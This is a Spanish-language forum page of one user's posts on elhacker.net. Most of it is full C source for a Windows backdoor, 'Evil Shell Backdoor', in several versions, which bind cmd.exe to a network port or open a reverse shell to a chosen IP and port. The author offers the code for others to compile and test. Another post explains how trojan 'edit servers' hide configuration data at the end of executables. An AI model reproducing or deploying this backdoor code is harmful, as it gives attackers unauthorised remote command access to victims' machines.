elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27
231  Programación / Programación Visual Basic / Re: Transferencia de archivos, AYUDA en: 26 Agosto 2005, 11:46 am
lo mejor sería crear dos conexiones. Una para el envío de los datos del archivo (nombre, tamaño, etc) y otra para el envío del archivo. Es lo que hace el protocolo Ftp
232  Programación / Programación Visual Basic / Re: Como hacer un Edit server como en los troyanos en: 19 Agosto 2005, 16:23 pm
hace tiempo hice un edit server en C. Te pego una parte de los comentarios, donde digo básicamente en que consiste.

Código:
- FUNCIONAMIENTO:
Para guardar información en ejecutables sin que estos queden inutilizados, debemos guardar la
información al final del archivo, en el espacio en blanco (puedes verlo con un editor hexagesimal).

Una vez guardada la información, es necesario retroceder el número de bytes que introducimos
desde el final del archivo, y leer los datos para almacenarlos en una variable que tenga el mismo
tamaño que la variable con la que introducimos los datos. Es decir, si pusimos datos con una
variable de 100 bytes, debemos leer con una variable de 100 bytes, de no ser así, los datos se
mezclarían.

http://lympex.sosvulnerable.net/resources/sources/edit2.c
233  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 19 Agosto 2005, 00:15 am
solo estoy posteando algunas mejoras en el source por si a alguien le interesa.
234  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 19 Agosto 2005, 00:11 am
Aquí está la version 1.0.5  ;)

Código:
/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: Evil Shell Backdoor
Version: 1.0.5
Fichero: Evil.Shell.Backdoor_1.0.5.c
Descripcion: Devuelve Bind Shell por el puerto que se le indique, o reverse shell al
Ip:Puerto que se le indique, con posibilidad de poner pass
Autor: Lympex
Contacto:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Fecha: 17/08/2005

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

Nota: Posible fallo al dar shell en Windows XP Professional SP2
*/

#include <stdio.h>
#include <winsock2.h>

//la librería del socket
#pragma comment(lib,"ws2_32")

/*devuelde la descripción del error, a partir de su código*/
char *MensajeError(DWORD error_num);

/*
FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
quita el último caracter de una string
*/
char chop(char *variable);

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/

/*para comprobar la password en caso de que exista*/
char passwd[100];
unsigned int i;

int main(int argc, char *argv[])
{
/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port, char *pwd);
/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port, char *pwd);
/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host);

printf("\n#####################################################");
printf("\n#    -[ Evil Shell Backdoor 1.0.5 - by Lympex ]-    #");
printf("\n#---------------------------------------------------#");
printf("\n#            Windows Evil Shell Backdoor            #");
printf("\n#---------------------------------------------------#");
printf("\n# Contacto:                                         #");
printf("\n#   + HomePage: http://l-bytes.tk                   #");
printf("\n#   + Mail: lympex[at]gmail[dot]com                 #");
printf("\n#####################################################\n");

//comprobamos los argumentos
if(argc<3 || argc>6)
{
printf("\n[+] Usos:");
printf("\n    + Bind Shell: %s -b 5968 <opcion>",argv[0]);
printf("\n    + Rev. Shell: %s -r localhost 5968 <opcion>\n",argv[0]);
printf("\n[+] Opcion:");
printf("\n    + -p <pwd>\n");
ExitProcess(0);
}

//si es bind
if(!strcmp(argv[1],"-b"))
{
if(argc>=5)
{
BindShellPort((short)atoi(argv[2]),argv[4]);
}else{
BindShellPort((short)atoi(argv[2]),NULL);
}
}else if(!strcmp(argv[1],"-r")){

if(argc>=6)
{
ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),argv[5]);
}else{
ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),NULL);
}
}else{
printf("\n[!] Parametro incorrecto\n");
}

ExitProcess(0);
}

/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port, char *pwd)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
//printf("ERROR - Error al bindear el socket\n");
printf("ERROR - %s",MensajeError(GetLastError()));
WSACleanup();
return 1;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
//printf("ERROR - Error al poner el socket a la escucha\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}
printf("\n[+] Esperando conexion por el puerto %d...",port);
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
//printf("ERROR - Error al aceptar\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

if(pwd!=NULL)
{
printf("\n[+] Esperando password...");
do
{
send(Sock,"[+] Introduce la password de la shell: ",strlen("[+] Introduce la password de la shell: "),0);
i=recv(Sock,passwd,100,0);chop(passwd);
passwd[i]='\0';
}while(strcmp(pwd,passwd));//mientras que lo que recibamos no es igual a la contraseña
printf("OK");
send(Sock,"\n",strlen("\n"),0);
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port, char *pwd)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(Ip);

if(Winsock==INVALID_SOCKET)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Conectando con %s:%d...",Ip,port);
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

if(pwd!=NULL)
{
printf("\n[+] Esperando password...");
do
{
send(Winsock,"[+] Introduce la password para la shell: ",strlen("\n[+] Introduce la password para la shell: "),0);
i=recv(Winsock,passwd,100,0);chop(passwd);
passwd[i]='\0';
}while(strcmp(pwd,passwd));
printf("OK");
send(Winsock,"\n",strlen("\n"),0);
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
char *lpMsgBuf;

//cojemos el mensaje del error
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
0,
(LPTSTR) &lpMsgBuf,
0,
NULL
);

return lpMsgBuf;
}

//FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
//quita el último caracter de una string
char chop(char *variable)
{
char *tmp;
unsigned int i;

tmp=(char *) malloc(strlen(variable)*sizeof(char));
strcpy(tmp,variable);

for(i=0;i<strlen(tmp)-1;i++)
{
variable[i]=tmp[i];
variable[i+1]='\0';
}

return tmp[strlen(tmp)];
}
235  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 18 Agosto 2005, 23:42 pm
no has leido mi último post, ni has compilado el nuevo codigo?   :-X
236  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 18 Agosto 2005, 23:36 pm
si, el ejemplo que dices sería para la bind shell.

Citar
#####################################################
#    -[ Evil Shell Backdoor 1.0.3 - by Lympex ]-    #
#---------------------------------------------------#
#            Windows Evil Shell Backdoor            #
#---------------------------------------------------#
# Contacto:                                         #
#   + HomePage: http://l-bytes.tk                   #
#   + Mail: lympex[at]gmail[dot]com                 #
#####################################################

  • Usos:
    + Bind Shell: Evil.Shell.Backdoor_1.0.3.exe 5968
    + Rev. Shell: Evil.Shell.Backdoor_1.0.3.exe localhost 5968
237  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 18 Agosto 2005, 23:28 pm
Gracias Gangrel. Espero que esto te guste y os siga funcionando porque aún no lo he compilado con Dev C++  ::)
Mejorando:

Código:
/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: Evil Shell Backdoor
Version: 1.0.3
Fichero: Evil.Shell.Backdoor_1.0.3.c
Descripcion: Devuelve Bind Shell por el puerto que se le indique, o reverse shell al
Ip:Puerto que se le indique
Autor: Lympex
Contacto:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Fecha: 17/08/2005

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

Nota: Posible fallo al dar shell en Windows XP Professional SP2
*/

#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"ws2_32")

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num);

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/

int main(int argc, char *argv[])
{
/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port);
/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port);
/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host);

printf("\n#####################################################");
printf("\n#    -[ Evil Shell Backdoor 1.0.3 - by Lympex ]-    #");
printf("\n#---------------------------------------------------#");
printf("\n#            Windows Evil Shell Backdoor            #");
printf("\n#---------------------------------------------------#");
printf("\n# Contacto:                                         #");
printf("\n#   + HomePage: http://l-bytes.tk                   #");
printf("\n#   + Mail: lympex[at]gmail[dot]com                 #");
printf("\n#####################################################\n");

//comprobamos los argumentos
if(argc<2 || argc>3)
{
printf("\n[+] Usos:");
printf("\n    + Bind Shell: %s 5968",argv[0]);
printf("\n    + Rev. Shell: %s localhost 5968\n",argv[0]);
ExitProcess(0);
}

//miramos qué tipo de shell quiere
if(argc==2)
{
//lanzamos la bind shell
BindShellPort((short)atoi(argv[1]));
}else{
//lanzamos la rev. shell
ReverseShell(HostIp(argv[1]),(short)atoi(argv[2]));
}

ExitProcess(0);
}

/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
//printf("ERROR - Error al bindear el socket\n");
printf("ERROR - %s",MensajeError(GetLastError()));
WSACleanup();
return 1;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
//printf("ERROR - Error al poner el socket a la escucha\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}
printf("\n[+] Esperando conexion por el puerto %d...",port);
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
//printf("ERROR - Error al aceptar\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(Ip);

if(Winsock==INVALID_SOCKET)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Conectando con %s:%d...",Ip,port);
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
char *lpMsgBuf;

//cojemos el mensaje del error
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
0,
(LPTSTR) &lpMsgBuf,
0,
NULL
);

return lpMsgBuf;
}
238  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 18 Agosto 2005, 19:08 pm
voy a probar compilandolo con Dev C++ a ver si es por el VC++  :o
239  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 17 Agosto 2005, 02:09 am
pues aquí dejo el source. Si alguien puede decir si le ha funcionado, y qué Windows es, service pack, etc. Que lo diga y así lo sabremos.

Código:
/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: WBBSP 1.0
Fichero: Win.Backdoor.Bind.Shell.Port.c
Descripcion: Pone un socket a la escucha en un puerto determinado para dar shell
Autor: Lympex
Contacto:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Fecha: 16/08/2005

-::[========================================]::-

C:\>Win.Backdoor.Bind.Shell.Port.exe 5968

#####################################
#    -[ WBBSC 1.0 - by Lympex ]-    #
#-----------------------------------#
# Windows Backdoor Bind Shell Port  #
#-----------------------------------#
# Contacto:                         #
#   + HomePage: http://l-bytes.tk   #
#   + Mail: lympex[at]gmail[dot]com #
#####################################

[+] Creando el Socket...OK
[+] Esperando conexion por el puerto 5968...OK
[+] Lanzando shell...OK

C:\>

------------------------------------------------

D:\>nc.exe localhost 5968

Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

-::[========================================]::-

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

Nota: Posible fallo al dar shell en Windows XP Professional SP2
*/

#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"ws2_32")

int main(int argc, char *argv[])
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/
short Puerto;

printf("\n#####################################");
printf("\n#    -[ WBBSC 1.0 - by Lympex ]-    #");
printf("\n#-----------------------------------#");
printf("\n# Windows Backdoor Bind Shell Port  #");
printf("\n#-----------------------------------#");
printf("\n# Contacto:                         #");
printf("\n#   + HomePage: http://l-bytes.tk   #");
printf("\n#   + Mail: lympex[at]gmail[dot]com #");
printf("\n#####################################\n");

//comprobamos los argumentos
if(argc<2 || argc>2)
{
printf("\n[+] Uso: %s puerto",argv[0]);
printf("\n    + Ejemplo: %s 5968\n",argv[0]);
ExitProcess(0);
}
Puerto=atoi(argv[1]);

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(Puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando conexion por el puerto %d...",Puerto);
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
printf("ERROR\n");
}else{
printf("OK\n");
}

ExitProcess(0);
}
240  Programación / Programación C/C++ / Re: Win Backdoor Bind port en: 16 Agosto 2005, 01:31 am
Entonces ahora te debería de funcionar sin cambiar nada. He añadido unos typecast en los nulls para que no me diera warnings. Puedesdecirme si te funciona sin modificar nada?

Código:
#include <stdio.h>
#include <winsock2.h>
//la librería del socket
#pragma comment(lib,"ws2_32")

int main()
{

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso*/
PROCESS_INFORMATION info_proc; /*salida del proceso*/

/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(4664);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
printf("ERROR - Error al bindear el socket\n");
ExitProcess(1);
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
printf("ERROR - Error al poner el socket a la escucha\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}
printf("\n[+] Esperando cliente...");
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
printf("ERROR - Error al aceptar\n");
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
ExitProcess(1);
}else{
printf("OK");
}

printf("\n[+] Conexion establecida");
printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
printf("ERROR");
}else{
printf("OK");
}

ExitProcess(0);
}
Páginas: 1 ... 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [24] 25 26 27
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines